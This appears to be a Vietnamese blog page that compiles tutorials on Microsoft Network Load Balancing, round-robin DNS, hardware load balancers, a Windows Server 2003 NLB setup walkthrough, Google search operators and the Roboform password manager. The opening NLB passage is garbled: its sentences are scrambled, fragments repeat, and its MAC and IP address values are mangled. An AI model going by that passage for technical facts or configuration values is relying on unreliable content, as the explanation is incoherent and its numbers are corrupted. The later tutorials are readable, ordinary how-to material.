ra xung đột do các chuyển mạch lớp 2 chỉ có thể hoạt động khi các địa chỉ MAC nguồn trên tất cả các cổng của thiết bị chuyển mạch là duy nhất. địa chỉ MAC multicast sẽ được gán là 03-BF-0AC8-C8-0A tương ứng với địa chỉ IP chính là 10. địa chỉ MAC unicast được đặt là 02-BF-0A-C8-C8-0A. Kỹ thuật này ngǎn không cho thiết bị chuyển mạch tìm ra địa chỉ MAC thực sự của nhóm và kết quả là các gói đến nhóm được phân phối tới tất cả các cổng của thiết bị chuyển mạch. NLB sửa địa chỉ MAC nguồn cho các gói đầu ra là duy nhất. Ví dụ. Ví dụ.10. với địa chỉ IP chính của nhóm là 10. trong đó h là mức ưu tiên của host trong nhóm. Các gói đến NLB do đó được nhận bởi tất cả các host trong nhóm và chuyển gói tới trình điều khiển cân bằng tải để lọc.

Thuật toán không đáp ứng những thay đổi về tải trên mỗi host (chẳng hạn như tải CPU hay vấn đề sử dụng bộ nhớ). Do đó. NLB xử lý các yêu cầu của client bằng cách dẫn đường cho một tỉ lệ phần trǎm đã chọn những yêu cầu mới cho từng host trong nhóm. Host tương ứng sẽ chuyển gói đó từ các tầng dưới lên tầng TCP/IP còn các host khác sẽ loại bỏ gói này. để đảm bảo rằng địa chỉ IP và cổng đến của client cho trước sẽ luôn được ánh xạ đến cùng một host trong nhóm. Khi một host mới tham gia vào nhóm.Chế độ unicast của NLB gây ra tràn trên switch do sự phân phối đồng thời lưu lượng mạng trên tất cả các cổng. kết nối tiếp theo từ các client bị ảnh hưởng sẽ được xử lý bởi host mới. tất cả các host thực hiện đồng thời việc ánh xạ thống kê để xác định nhanh chóng host nào sẽ xử lý gói đó. nó sẽ kích hoạt quá trình hội tụ và một quan hệ thành viên mới trong nhóm sẽ được tính toán. các host nên được bổ sung vào nhóm tại những thời điểm tải tǎng quá mạnh nhằm tối thiểu hoá hiện tượng ngắt quãng các phiên. điển hình là đối với các Web server. Tuy nhiên. chế độ multicast của NLB đưa ra cơ hội hạn chế tràn switch để người quản trị hệ thống có thể cấu hình một mạng LAN ảo trên switch cho các cổng tương ứng với các host. GMRP. một phần tối thiểu client sẽ được ánh xạ tới host mới. NLB dò các kết nối TCP trên mỗi host và sau khi kết nối TCP hiện tại của chúng hoàn thành. host cụ thể trong nhóm mà địa chỉ IP và cổng đến của client ánh xạ tới không thể được xác định trước do hàm ngẫu nhiên có tính đến quan hệ thành viên trong nhóm hiện tại và quá khứ để tối thiểu hoá khả nǎng ánh xạ lại. Có thể làm được điều này bằng cách lập trình cho switch hoặc sử dụng giao thức IGMP hoặc giao thức GARP. Tuy nhiên. Quá trình ánh xạ sử dụng một hàm ngẫu nhiên để tính mức ưu tiên của host dựa trên địa chỉ IP và cổng đến của client cùng các thông tin trạng thái khác để tối ưu hoá việc cân bằng tải. Nó được tối ưu hoá để cung cấp khả nǎng cân bằng tải một cách thống kê đối với một số lượng lớn các yêu cầu nhỏ do vô số client tạo ra. Thuật toán này cho phép các host trong nhóm đưa ra các quyết định cân bằng tải một cách độc lập và nhanh chóng cho từng gói đến. Để tránh vấn đề này. Khi quá trình hội tụ hoàn thành. Tuy nhiên. Quá trình ánh xạ không thay đổi trừ phi quan hệ giữa các host trong nhóm thay đổi. quá trình ánh xạ sẽ được thay đổi khi quan hệ thành viên trong nhóm thay đổi và tỉ lệ phần trǎm tải phân bố sẽ được tái cân bằng. Thuật toán cân bằng tải NLB sử dụng thuật toán lọc phân tán hoàn toàn để ánh xạ các client đến các host trong nhóm. trạng thái phiên phải được quản lý bởi ứng dụng server sao cho nó có . Khi xem xét một gói đến.

Khi trạng thái của nhóm thay đổi (chẳng hạn như khi có host gặp trục trặc. quá trình hội tụ cho phép host này nhận được phần tải của nó trong lưu lượng đã được cân bằng. Khi tất cả các đạt được sự "nhất trí" trạng thái mới của chúng sẽ được thiết lập và những thay đổi này sẽ được lưu vào nhật ký sự kiện. Ví dụ. Việc mở rộng nhóm không ảnh hưởng đến các hoạt động của nhóm và theo một cách hoàn toàn trong suốt đối với tất cả các Internet client cũng như trước các chương trình phần mềm server. Khi hoàn thành quá trình hội tụ. chu kỳ này được giảm xuống chỉ còn một nửa để đẩy nhanh việc hoàn tất quá trình này. Mỗi bản tin "heartbeat" chiếm một khung Ethernet và được gắn thêm địa chỉ IP chính của nhóm nhằm cho phép nhiều nhóm có thể cùng tồn tại trên cùng một mạng con. rời khỏi hoặc tham gia vào nhóm). Thậm chí. trạng thái phiên có thể được đẩy đến server cơ sở dữ liệu và lưu trong các cookies của client. nó sẽ phát các bản tin này ở chế độ multicast. Để có thể khởi tạo quá trình hội tụ. Quá trình hội tụ Các host trong nhóm trao đổi định kỳ các bản tin "heartbeat" multicast hoặc broadcast với nhau. nó có thể ảnh hưởng đến các phiên client vì các client có thể phải tái ánh xạ tới các host khác trong nhóm. bền vững cho nhóm. Giá trị này có thể thay đổi. Trong quá trình hội tụ. đối với các cluster lớn. mỗi host sẽ phát quảng bá (broadcast) bản tin "heartbeat" theo chu kỳ. lưu lượng đến host bị lỗi sẽ được tái phân phối cho các host còn lại. Trong chế độ unicast. Quá trình hội tụ kết thúc khi tất cả các host trong nhóm có được một quan hệ thành viên ổn định trong vòng một vài chu kỳ heartbeat. Trong quá trình hội tụ.thể được tái cấu trúc hay được trả lại từ bất kỳ một host nào trong nhóm. Còn trong chế độ multicast. Các gói dữ liệu điều khiển từ xa được gửi tới địa chỉ IP chính . các host tiếp tục xử lý lưu lượng mạng đến như mọi khi ngoại trừ lưu lượng đến host bị lỗi không nhận được dịch vụ. Chu kỳ gửi các bản tin này mặc định là 01 giây. Tuy nhiên. Điều này cho phép các host có thể giám sát trạng thái của nhóm. Nếu một host được thêm vào nhóm. bǎng thông cần thiết để truyền các bản tin "heartbeat" rất thấp (24kBytes/s cho một cluster 16 đường). NLB kích hoạt một chu trình gọi là hội tụ trong đó các host trao đổi bản tin "heartbeat" để định ra một trạng thái mới. theo mặc định cần 05 bản tin heartbeat không được nhận. Điều khiển từ xa Cơ chế điều khiển từ xa của NLB sử dụng giao thức UDP và được gán cổng dịch vụ #2504. Bản tin "heartbeat" của NLB của Microsoft được gán một giá trị 0x886F. Giá trị này có thể thay đổi.

nó phân phối đồng thời các gói đến tới tất cả các host trong nhóm và áp dụng một thuật toán lọc để loại bỏ các gói không mong muốn. Round Robin DNS Một kỹ thuật cân bằng tải điển hình là RRDNS (Round Robin DNS).của nhóm. Do trình điều khiển trên mỗi host trong nhóm xử lý các gói này. RRDNS sẽ vẫn tiếp tục gửi tải cho server đó cho đến khi người quản trị mạng phát hiện ra lỗi và tách server này ra khỏi danh sách địa chỉ DNS. Giải pháp cân bằng tải dựa trên bộ điều phối cần kiểm tra. Web server . chúng cần được định tuyến tới mạng con của nhóm (thay vì tới một mạng con gốc mà nhóm đó gắn vào).CPU overhead trên các host của nhóm . hiệu chỉnh và truyền lại gói tới các host trong nhóm (thường phải sửa đổi lại địa chỉ IP để tái định tuyến gói từ địa chỉ IP ảo tới địa chỉ IP của từng host cụ thể).Phần trǎm CPU cần thiết để phân tích và lọc các gói của mạng (càng thấp càng tốt).. Tất cả các giải pháp cân bằng tải đều cần sử dụng một phần tài nguyên của hệ thống để xem xét gói đến và đưa ra quyết định cân bằng tải và do đó ít nhiều ảnh hưởng đến hiệu nǎng của mạng. Quá trình lọc gây ảnh hưởng ít hơn so với quá trình tái định tuyến và kết quả là thời gian đáp ứng nhanh hơn với thông lượng toàn hệ thống cao hơn. Khi các lệnh điều khiển từ xa được đưa ra trong nhóm. Với giải pháp này. .php?t=1287 Các giải pháp Load Balancing Có 3 giải pháp thường dùng cho Load Balancing là: 1.. VPN server http://vsic. chúng sẽ được phát quảng bá trên mạng con cục bộ. Hiệu nǎng cân bằng tải Vai trò của NLB tác động đến hiệu nǎng của hệ thống có thể được đánh giá dựa trên bốn tiêu chí chính sau: . Ứng dụng NLB thường được ứng dụng vào các mục đích sau: . FTP server . Điều này sẽ gây ra sự đứt quãng dịch vụ. Các ứng dụng ít có sự thay đổi . nếu một server trong nhóm bị lỗi.com/forum/showthread. Đối với NLB. Điều này đảm bảo tất cả các host trong nhóm đều có thể nhận được chúng ngay cả khi nhóm chạy trong chế độ unicast.

.vsic. Khả năng thiết lập cấu hình cực kỳ mềm dẻo. Giải pháp dùng thiết bị được xem là tối ưu nhất tuy nhiên chi phí cũng cao hơn Mô hình sau sử dụng thiết bị localdirector của hãng Cisco để cân bằng tải Khi lựa chọn thiết bị phần cứng làm Load Balancing.com. đường hầm IP. Novell netware.10 websrv4 IN A 192.vsic. Sun Solaris.1.1. bạn cần qua tậm đến các thông số sau: • Cân bằng tải cho hầu hết các ứng dụng trên nền mạng IP: cho phép cân bằng tải cho hầu hết các ứng dụng trên nền mạng IP như Web.168..168. hỗ trợ các cấu hình hoạt động đa dạng bao gồm: chuyển dịch địa chỉ mạng/NAT.com. . với rất nhiều tính nǎng phong phú. Sử dụng thiết bị phần cứng Có rất nhiều hãng đưa ra giải pháp cân bằng tải như Cisco. IN CNAME websrv2.. định tuyến trực tiếp. E-mail hay video theo yêu cầu. FTP.com.vsic.10 websrv2 IN A 192.1.168.Ví dụ: Trong DNS sẽ chứa 4 record của 4 web server: websrv1 IN A 192.168. 2003. Mô hình tĩnh dựa trên việc quay vòng cung cấp dịch vụ lần lượt cho từng máy chủ và theo công suất của máy chủ. Linux .1. IN CNAME websrv4. Trong bài sau tôi sẽ trình bày các bước xây dựng hệ thống Load Balancing trong môi trường mạng Windows sever 2003 3.com. Sử dụng phần mềm Cơ chế Load Balancing thường được xây dựng sẵn bên trong hệ điều hành ví dụ Windows server 2000.vsic.10 websrv3 IN A 192. Sun Microsystems. 2. • Cân bằng tải theo nhiều phương pháp : sử dụng cả hai mô hình hoạt động tĩnh và động cho việc cân bằng tải các máy chủ.10 Tạo record loại CNAME có tên www chỉ đến 4server trên www IN CNAME websrv1. Coyote Point. IN CNAME websrv3.

• Kiểm tra trạng thái của máy chủ: thường xuyên kiểm tra trạng thái của từng máy chủ để đảm bảo rằng không một yêu cầu cung cấp dịch vụ nào được gửi đến một máy chủ đang gặp sự cố. • Hỗ trợ UPS: có khả năng giao tiếp với hệ thống lưu điện của APC để thực . Nếu thiết bị chính gặp sự cố thì thiết bị ở chế độ dự phòng sẽ ngay lập tức đảm nhận vai trò quản lý toàn bộ các giao dịch. tính sẵn sàng cao và các cảnh báo. • Cảnh báo qua E-mail: Khi một thiết bị hoặc bất kỳ máy chủ nào trong hệ thống gặp sự cố thì một thông báo sẽ được gửi đến người quản trị mạng qua E-mail. sẽ không gửi các yêu cầu cung cấp dịch vụ tới máy chủ đó nữa và người quản trị mạng sẽ được thông báo khi tất cả các yêu cầu cung cấp dịch vụ trên máy đó đã được xử lý. • Hỗ trợ SNMP: cung cấp các MIB và sẽ gửi các bẫy lỗi (Trap) đến bộ quản lý SNMP khi cần thiết. quản trị. • Độ tin cậy và khả năng ổn định cao: Điều khiển thiết bị là hệ điều hành nhúng vì vậy độ tin cậy và khả năng ổn định được đảm bảo ở mức cao nhất. một ở chế độ hoạt động chính. • Nhật ký chi tiết: có khả năng ghi nhật ký chi tiết về hệ thống. • Kiêm tra và đồng bộ trạng thái hai chiều: Hai thiết bị sẽ luôn đồng bộ trạng thái của nhau theo thời gian thực đảm bảo rằng các thông tin yêu cầu cung cấp dịch vụ và trạng thái xử lý toàn bộ dịch vụ từ các máy chủ luôn được cập nhật trên cả hai thiết bị. Khi có yêu cầu tắt máy để bảo dưỡng hay nâng cấp một máy chủ nào đó. • Dự phòng nóng: Hai thiết bị có thể được kết nối song song với nhau. • Tắt dịch vụ an toàn: Tính năng này cho phép các dịch vụ trên máy chủ chỉ được đóng khi tất cả các yêu cầu đã được xử lý xong. một ở chế độ dự phòng. • Dự phòng thông minh: Với tính năng dự phòng thông minh. • Đồng bộ cấu hình và nhật ký: Khả năng này cho phép cấu hình hệ thống và nhật ký làm việc của cả hai thiết bị ở chế độ làm việc song song là như nhau tại mọi thời điểm. thiết bị dự phòng sẽ ngay lập tức quản lý toàn bộ các yêu cầu giao dịch khi thiết bị chính gặp sự cố. • Đồng bộ theo hai đường: Tín hiệu đồng bộ nhịp (heartbeat) của hai thiết bị ở mô hình hoạt động song song được gửi sang nhau thông thông qua cả kết nối mạng LAN và kết nối serial trực tiếp.

http://vsic.10 Bước 2: Triển khai NBL Tại máy 1: .1.Địa chỉ IP chung cho nhóm server sẽ là 10.2 . • Bảo mật cao: Các mặt nạ IP cho phép các máy chủ thực tế không xuất hiện trực tiếp trên mạng Internet.hiện các thao tác đóng phiên giao dịch cần thiết khi có sự cố về nguồn trong hệ thống.1.1.Chạy Network Load Balancing Manager Hình 1 .1. chọn chế độ Multicast (do mỗi máy sử dụng 1 LAN card) Hình 3 .Đặt IP cho mỗi máy lần lượt là 10.php?t=1287 Windows sever 2003 Load Balabcing Các bước sau đây trình bày quá trình xây dựng Network Load Balancing gồm 2 node dựa trên tính năng Load Balabcing có sẵn trong windows sever 2003 Bài này các bạn có thể thực hiện thông qua 2 máy ảo Windows 2003 chạy trên nền VMWare Bước1: Chuẩn bị . Việc hỗ trợ SSH/Base64 cho phép người quản trị quản lý các ở mức an toàn cao nhất.Nhập địa chỉ IP cho nhóm sever là 10.Chọn New Cluster Hình 2 .1 và 10.Đặt tên cho 2 máy là: Node1 và Node2 .com/forum/showthread.1. tên domain.1. Giao diện quản trị đồ hoạ qua WEB và dòng lệnh: Người quản trị có thể quản lý thông qua giao diện đồ hoạ qua WEB hoặc bằng dòng lệnh.1.Gán thêm địa chỉ IP cho nhóm server nếu cần thiết Hình 4 -Khai báo các dịch vụ nào sẽ được phép khai thác NBL.1.10. thông qua việc mở .

Quan sát thông tin trang thái NBL giữa các node Ảnh này đã được chỉnh nhỏ lại.3. Bạn vui lòng nhấn vào dòng này để hiện kích thước gốc.. các node tiếp theo sẽ là 2. Tại máy 2: Các bước được thự hiện giống như trên máy 1. Kích thước gốc của ảnh là 650x418. Hình 8 . chọn connect.2 đã thành công .Nhập tên của máy đầu tiên: node1. chọn Edit Hình 5 -Nhập phạm vi port sẽ mở.Priority: khai báo độ ưu tiên cho Node này là 1. Hình 10 . ví dụ ta chỉ triển khai dịch vụ Web trên NLB thì ta chỉ cần mở port 80 Hình 6 .Quá trình Update giữa các node 1. Bạn vui lòng nhấn vào dòng này để hiện kích thước gốc.Nhấn Next qua bước tiếp theo Hình 7 . Kích thước gốc của ảnh là 650x418. nhưng tên máy thêm vào NLB là node2 và độ ưu tiên là 2 Bước 3: . nhấn Next. chọn kết nối mạng tham gia NLB.port.32. Hình 9 Chọn Finish Ảnh này đã được chỉnh nhỏ lại.

Ví dụ Tui muốn tìm những đường dẫn nào mà có từ "dangtrunghieu" trong nó thì tôi rõ inurl:dangtrunghieu vào ô tìm kiếm.Hình 11 . Bạn chỉ chú ý tin từ một trang web nào đó thôi.vn nhe.Kiểm tra địa chỉ của NBL đã có thể truy cập Ảnh này đã được chỉnh nhỏ lại.edu. Khi đó bạn sẽ tìm đưọc LRC trong trang Ctu.edu. Cú pháp inurl:từcầntìm. Không cần chú ý đến các trang khác. Google sẽ liệt kê cho tôi những trang có từ dangtrunghieu trong đường link .vn nhớ là không rõ www. Kích thước gốc của ảnh là 668x512. MCSA. Hình 12 http://vsic.com/forum/showthread.php?t=1287 Được đăng bởi haodalat tại 9:35 CH 0 nhận xét Nhãn: CÓ THỂ BẠN CHƯA BIẾT. Ví dụ bạn hãy rõ vào ô tìm kiếm của Google intitle:login Google sẽ tìm các trang có từ login trong tiêu đề. Nhớ là giữa từ site và địa chỉ ngắn của trang web không có khỏan trắng.ctu. Những lúc như thế nào từ khoá site sẽ giúp bạn.edu. NETWORK SÁCH LAB TIẾNG VIỆT VSIC http://vsic. Bạn hãy thử lại một lần nữa rõ vào ô tìm kiếm của Google là intitle:"Đăng nhập" "Mật khẩu" 2-[site:] Đôi lúc khi tìm thông tin.vn rồi nhấn tìm xem.php?p=5673 Được đăng bởi haodalat tại 9:03 CH 0 nhận xét Nhãn: CÓ THỂ BẠN CHƯA BIẾT 13-04-2008 Tìm kiếm hiệu quả với Google 1-[intitle:] Cú pháp intitle:giá trị cần tìm khi dùng từ khoá này Google sẻ tìm tất cả các trang có tiêu đề chứa "giá trị cần tìm" mà chúng ta muốn tìm. Cú pháp thông tin cần tim site:website cần tìm tin Ví dụ: bạn rõ vào ô tìm kiếm LRC site:ctu.com/forum/showthread. 3-[inurl:]Từ khoá này sẽ giúp bạn tìm những địa chỉ URL(đường dẫn) có từ bạn cần tìm. Thì phải làm thế nào giửa biển thông tin Internet. Hoặc rõ vào "DangTrungHieu" site:ctu. Bạn vui lòng nhấn vào dòng này để hiện kích thước gốc. Còn nếu bạn nhập vào ô tìm kiếm intitle:login password thì Google sẻ tìm tất cả những trang có tiêu đề là login và từ password nằm trong trang đó.

Tức là những trang có nội dung tương tự như thế. Từ khoá filetype: cũng sẽ giúp bạn.vn Google sẽ giúp bạn tìm những web nào có đặt link của Ctu trên nó.vn bạn sẽ thấy được bản sao mà Google đã copy trang chủ của trường ta.edu.edu.ctu. Làm cho bạn tìm gặp nó trên Google nhưng mà không vào trang chính của nó được.vn thử xem. nên Google khi tìm thấy một trang nào mới nó đã tự động copy một bản sao rồi. 7-[cache:]Đôi lúc khi tìm thông tin bạn nhận thấy rằng có những website từ lâu nó đã không còn tồn tại trên mạng nữa rồi.doc thì làm sao. Từ khoá cache sẽ giúp bạn vào ngay trang mà Google đã copy. Cú pháp cache:địa_chi_web_cần_xem_bản_sao ví dụ cache:www. 6-[link:] Bạn đã xây dựng môt website cho riêng mình. Ví dụ bạn rõ vào ô tìm kiếm filetype:doc site:ctu.ctu.vn tvà tìm. Cú pháp filetype:phầnmởrộngcủatàiliệu. Lúc đó Google sẽ tìm những tài liệu word trên Ctu mình. Tương tự như vậy bạn hãy rõ vào filetype:pdf site:org "Toán học" thử xem có tìm được gì không 5-[related:] Trong lúc tìm kiếm.edu.php. Cú pháp related:têntrangwebmuốntìmnộidungliênquan Ví dụ: rõ related:www. Từ khóa link sẽ giúp bạn Cú pháp link:tên_website_cân_tìm Ví dụ link:www.edu. Có lúc mình tìm một trang nào đó hoài nhưng không gặp. Mà tìm anh em của nó. Ví dụ cache:www. Mặc dầu trang đó không còn tồn tại nhưng bạn có thể xem đưọc nó một phần. Thì chúng ta có thể không cần tìm nó nữa.của nó. Nhưng bạn không biết có ai đặt liên kết trang site của họ đến trang mình hay không. Rõ thữ inurl:pgv site:ctu. Học nó đã thay đổi đường dẫn đi đâu rồi. Có lẽ là để đảm bảo mọi người tin vào mình.net vào ô tìm kiếm của Google. Nếu chưa tin lắm thì làm thêm ví dụ này nhe: . Còn bạn muốn tìm từ nào đó trong bản copy của Google thì bạn thêm từ cần tìm vào phía sau của dòng lệnh trên. Từ khóa này cần kết hợp với từ khóa site: thì mới làm việc hiệu quả được.ctu. Còn nếu bạn muốn tìm nhiều hơn một từ thì dùng từ khoá allinurl: thay cho inur:l 4-[filetype:] Có những lúc muốn tìm e-book hoặc là những trang html hay những tài liệu có đuôi . Từ khoá related: sẽ giúp bạn.edu.vn học lúc đó Google sẽ tô vàng chữ học trong trang chủ ctu và tô vàng nó luôn.

Thì lúc đó khả năng săn tin của các bạn nâng cáo đáng kể rồi đó. Được đăng bởi haodalat tại 11:35 CH 0 nhận xét Nhãn: CÓ THỂ BẠN CHƯA BIẾT Phần mềm Roboform: Mẹo nhớ password Bạn tham gia hàng chục forum.vn hoặc intext:"thời khóa biểu" site:ctu. Roboform sẽ hiển thị dưới dạng toolbar nằm phía trên trình duyệt nếu bạn sử . cài đặt và chạy Roboform lần đầu tiên. Google sẽ giúp các bạn. Nếu chúng ta quên ghi địa chỉ của nó lại thì khi chúng ta cần tìm lại chúng ta phải làm sao. mã số két sắt chẳng hạn. Roboform sẽ tự đưa bạn đến website. Bạn có thể không cần chứ năng này vì có chức năng tương đương của nó là nhập dấu nháy kép vào trước từ cần tìm. chứa rất nhiều tài nguyên trong đó. Nó không chú ý đến những thứ khác.vn 9-[index of/] Chắc đã có nhiều lần các bạn lướt web gặp những trang mà cho chúng ta duyệt theo thư mục . Bạn có thể tạo nhiều “lý lịch” phù hợp với nhu cầu của mình.cache: cache:http://forum. và cặm cụi gõ lại username/password mỗi khi đăng nhập vì không thể dùng chức năng nhớ password? Roboform sẽ giải thoát bạn khỏi tất cả những phiền toái đó.edu. mỗi forum một nick và thường xuyên quên nick khi chức năng nhớ password của trình duyệt bị hỏng? Hoặc bạn dùng máy tại các quán Internet. Roboform là phần mềm quản lý password.edu.edu. Nếu các bạn biết kết hợp một trong 9 tuyệt chiêu(cơ bản) trên lại với nhau. phần mềm sẽ hỏi bạn các thông tin cá nhân. Các bạn nhớ có khoản trống giữa index và of nhen Đây là mộtb số thủ thuật đơn giản để giúp các bạn tìm tài liệu nhanh hơn và chính xác hơn.vn/profile. Bạn có thể lưu cả các thông tin không liên quan đến máy tính trong các ghi chú Safenote.ctu. và tự động điền nếu cần thiết. và thậm chí thiết lập Roboform tự điền thông tin mà không cần hỏi ý kiến mình (Option > AutoFill > AutoFill without asking).. tự điền username/password và tự đăng nhập. Phần mềm có thể lưu một loạt thông tin cá nhân từ tên – địa chỉ . thông tin cá nhân và đăng nhập tự động.email vv.php?mode=viewprofile&u=254& dangtrunghieu 8-[intext:] Với từ khóa này Google sẽ chú ý đến từ chúng ta tìm thôi. Sau khi download. Cú pháp index of/loai_tai_liêu_cân_tìm Ví dụ index of/files.. Tuy nhiên đôi khi chúng ta cũng muốn màu mè chút mà Cú pháp intext:tư_cần_tìm Ví dụ intext:điểm site:ctu.Gặp những trang hay. Chỉ cần nhấn vào một passcard. vd như .

. Cài đặt Roboform2Go cũng tương tự như bản PC. đem từ folder này qua folder khác bằng copy/paste. Một điều cần chú ý: Roboform mã hoá dữ liệu. lưu trong máy bạn đang sử dụng và bảo vệ nó bằng một masterpassword. username. phần mềm sẽ sử dụng các thông tin từ USB nếu bạn cắm USB chứa Roboform2Go . Vậy passcard là gì? Khi đăng nhập vào website lần đầu tiên. Mỗi khi đăng nhập vào một site yêu cầu username/password. Hoặc là một người cẩn thận. hãy tự in danh sách username/password lưu trong Roboform ra giấy phòng khi “có biến” bằng chức năng Print (Identities > print list). Một người dùng Internet chuyên nghiệp và có thói quen ghost máy định kì thay vì cài lại win sẽ rất thích thú với khả năng quản lý dữ liệu của Roboform (Option > User Data) – chỉ cần backup. và không hỏi thêm lần nữa cho đến khi tắt máy hoặc sau mỗi khoảng thời gian nhất định. hoặc Logins và phần mềm sẽ tự mở website cần đăng nhập.dụng Internet Explorer và FireFox. Password chính này sẽ được hỏi ngay lần đầu tiên sử dụng Roboform . Roboform2Go – nhớ password trên … USB Roboform2Go là phiên bản di động của Roboform cài trên USB. sau đó gõ duy nhất masterpassword bằng bàn phím ảo. chọn FillForms để tự động điền thông tin. Roboform sẽ hỏi bạn có lưu passcard cho site đó không – bao gồm địa chỉ site. hoặc các thông tin khác. nhưng chọn USB disk để cài thay vì vào HDD trên máy. tự điền thông tin và tự login “hộ” bạn. Một điểm cần chú ý: Nếu máy tính đang sử dụng có cài Roboform . sử dụng search box để tìm đúng passcard mình cần. lưu thông tin ra một folder riêng và Import trở lại sau khi ghost xong – và bạn sẽ không cần bận tâm đến nỗi lo điền lại toàn bộ username/password của các site ưa thích. Bạn cũng có thể thiết lập sao cho Roboform hỏi masterpassword mỗi lần bật máy. Bạn chỉ cần cắm ổ USB vào máy tính cần sử dụng. chạy file “PortableRoboForm. rút USB ra. và quên đi mối lo keylogger mỗi khi dùng máy ngoài hàng net. Passcard là thành phần quan trọng nhất của Roboform . Nếu có quá nhiều site cần nhớ (chuyện bình thường nếu bạn là dân mạng “thứ thiệt”). vẫn có hầu hết các chức năng ấn tượng của bản PC nhưng hoàn toàn không yêu cầu cài đặt – hết sức lý tưởng cho người dùng tại các quán Internet. thậm chí nếu cửa hàng không cho phép cài đặt phần mềm lên máy. và bạn sẽ thấy quản lý bộ sưu tập passcard của mình thật dễ dàng. và nếu quên. Muốn ngừng sử dụng.exe” và chờ vài giây để phần mềm load lên máy tính và hiển thị biểu tượng RoboForm2Go trên taskbar. Mỗi passcard có thể cho vào một folder riêng. password. Một chức năng ấn tượng khác là PasswordGenerator – tự tạo một password ngẫu nhiên và lưu luôn trong Roboform để tự điền khi cần thiết. coi như bạn mất toàn bộ dữ liệu của mình. chỉ đơn giản .

10. Có thể hiểu nôm na rằng.168. ftp sever. Bạn có thể dùng thử Roboform2Go 30 ngày. và tiếp tục sử dụng nếu chỉ sử dụng dưới 10 passcard. nếu bạn có 2 máy chủ làm web server chạy IIS.95 USD. (Theo DT) Việt Báo (Theo_VnMedia) http://vietbao. Roboform free bị giới hạn 10 passcard. NLB sẽ gửi yêu cầu này đến máy chủ .2.softarchive.. Lấy ví dụ như web site dantri.com. 2 máy chủ này phải có thêm 1 địa chỉ IP chung là 192.. miễn là cùng lớp mạng). Sau đó dịch vụ NLB sẽ phân phối đều các yêu cầu này đến từng máy chủ trong chùm. nó sẽ gửi yêu cầu đến 192. THỦ THUẬT IT 12-04-2008 Tổng quan về tính năng Network Load Balancing 1.95 USD. yêu cầu xử lý cục bộ. Địa chỉ IP chung này phải được gắn với tên dantri.vn/Vi-tinh-Vien-thong/Phan-mem-Roboform-Meo-nhopassword/65126245/229/ http://www.10.3.1 và của máy chủ 2 là 192. nên chỉ có ý nghĩa thực sự khi nó phục vụ các tác vụ liên quan đến mạng như web sever. Địa chỉ IP chung của chùm này là địa chỉ dùng để nhận các yêu cầu từ máy khách. tại đó dịch vụ NLB sẽ gửi yêu cầu đó đến máy chủ 1. công nghệ NLB khác với công nghệ Cluster. công nghệ Cluster là công nghệ kết chùm các máy tính để tạo một máy công suất lớn. thi ngoài địa chỉ IP của chính nó.10.3 (có thể bất kỳ.168. Roboform2Go giá 19.net/system_tools/ai_roboform_pro_v:23173. Tổng quan về tính năng Network Load Balancing Trước hết. với 2 web site có cùng nội dung. không có ý nghĩa gì đối với các ứng dụng local..168. bạn phải hiểu rằng. còn công nghệ NLB chỉ có tác dụng cân bằng tải. Địa chỉ IP của máy chủ 1 là 192.com trong DNS server. Khi máy khách thứ 2 yêu cầu kết nối đến địa chỉ IP của chùm. 1 trong 2 máy chủ sẽ hồi đáp lời thỉnh cầu đó. khi 1 máy khách yêu cầu kết nối đến địa chỉ IP của chùm. khi yêu cầu thứ 2 được gửi đến. Ví dụ như. nội dung của web site được lưu trên 2 máy chủ 1 và 2 hoàn toàn giống nhau. nó còn có địa chỉ IP chung của chùm.168. Khi các máy tham gia chùm server chạy dịch vụ NLB. mail sever.com.vào máy.. sẽ đến lượt máy chủ thws 2 hồi đáp. Khi yêu cầu từ 1 trình duyệt nào đó đòi xem trang dantri.10. Phiên bản Roboform Pro có giá 29.html Được đăng bởi haodalat tại 10:46 CH 0 nhận xét Nhãn: CÓ THỂ BẠN CHƯA BIẾT. thì khi thực hiện NLB.và cứ luân phiên như vậy.

phải cài IIS trên cả 2 máy của chùm. Khi đó. Để kết chùm. Bởi vậy. Các bước cần chuẩn bị để xây dựng 1 chùm server dựa trên công nghệ NLB Phần này hẹn bạn khi khác. mong bà con ủng hộ. Bước tiếp theo là xây dựng DNS server. và phải tương ứng với địa chỉ IP của chùm (nếu bạn nào chưa rành DNS. Máy 1 bạn đặt tên là nhatnghe1. có địa chỉ IP là 192.com 2. Bạn sẽ phải có 1 cái tên DNS dành cho chùm. đánh dấu vào ô Network Load Balancing.Cái này thì mình ko nói chi tiết được.0 2. bạn phải làm cho 2 server đó chạy ở dạng hoàn hảo nhất rồi mới thiết lập NLB. ví dụ như NLB. có địa chỉ IP là 192. khi thực hành nên chọn dải 192.1. Địa chỉ IP của chùm là 192.nhatnghe.com đến địa chỉ 192.13 (địa chỉ default gateway là 192. bạn sẽ phải cài đặt dịch vụ này trên cả 2 máy. Hôm nay xin post tiếp phần còn lại.168. bạn phải Enable nó trong sevices. ý thì rất ngắn nhưng hướng dẫn chi tiết thì rất dài. Nói chung các bước xây dựng ko khó lắm. Bước tiếp theo là chuẩn bị 1 vài nội dung cần thiết trước khi kết chùm: 1. nên tham khảo nó trước. chọn Properties. bởi có thể phải có ảnh minh họa.1. ví dụ web server.13 . đáp ứng các yêu cầu sau: 1. Cứ như vậy luân phiên nhau. Đến đây bạn phải tự làm lấy. bạn phải tạo 1 bản ghi A..nhatnghe. ánh xạ cái tên NLB. mỗi máy chủ đáp ứng 1 nửa các yêu cầu xem nội dung web site dantri. Bạn phải xác định loại dịch vụ nào sẽ chạy trên chùm. Mỗi máy sẽ phải có 1 địa chỉ IP tĩnh.com. Những thứ mà bạn cần để xây dựng demo là bạn cần phải có 2 máy. tại mỗi máy bạn xem Properties của card mạng. NLB là 1 công cụ rất tuyệt vời. nhưng nó cũng đòi hỏi rất khắt khe để cấu hình. bạn nên tham khảo thêm trong forum.168.1.1.12 3. Rất nhanh đúng ko? Còn bạn phải tự xây dựng 1 DNS server để nó có thể phân giải tên của chùm sang địa chỉ IP chung của chùm. Tiếp theo bạn có thể đặt các địa chỉ IP riêng của máy và IP chung của chùm thông qua cửa sổ Network Load Balancing properties đó.1.1. Cần thêm 1 địa chỉ IP tĩnh nữa để dùng làm địa chỉ IP cùng chung của chùm. nhưng chắc chắn tốc độ sẽ được cải thiện bởi không phải chờ máy chủ 1 . Sau khi xây dựng xong rồi. Đề mục tên DNS đó phải có trong cơ sở dữ liệu DNS. Trong trường hợp web server.168. nếu ko sẽ rất khó hiểu!) 4. Để chạy NLB. bạn sẽ gặp vài lỗi rất lạ khi cấu hình nó.com hoàn toàn giống nhau trên 2 máy chủ nên người dùng không thể biết được là đang do máy chủ nào 